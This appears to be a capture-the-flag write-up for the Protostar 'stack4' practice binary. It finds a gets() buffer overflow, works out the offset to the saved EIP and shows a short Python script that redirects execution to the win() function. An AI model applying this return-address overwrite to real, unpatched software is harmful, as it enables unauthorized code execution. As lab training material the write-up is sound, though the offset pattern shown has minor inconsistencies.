Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
This level is at /opt/protostar/bin/stack4
Solve
We’re going to go on the assumption that we don’t have the source code. Let’s reverse the binary using ghidra:
The main function is pretty simple, we have a gets call that reads into a limited buffer. We know that gets() is an insecure function as it doesn’t take into consideration buffer sizes. We also have a “win” function which we can assume is our end goal. We can write overwrite the instruction pointer to change the program flow
AAAABBBBCCCCDDDDEEEEFFFFFGGGGHHHHIIIIJJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
We can check out the registries to find where abouts EIP changed:
We can see that 0x54 is written into EIP twice, we can assume the below is how much padding we need before we write our instruction location:
AAAABBBBCCCCDDDDEEEEFFFFFGGGGHHHHIIIIJJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTT<win addr>
We can grab the win addr either using gdb or objdump, I’ve already got gdb open so I’ll use that:
(gdb) x win
0x80483f4 <win>: 0x83e58955
(gdb)
We can also start scripting this to make things easier:
import struct
padding = "A"*72
EBP = "AAAA"
EIP = struct.pack("I", 0x080483f4)
print(padding + EBP + EIP)
We can then simply pipe out the output into the stack4 binary:
python2 exploit.py | ./stack4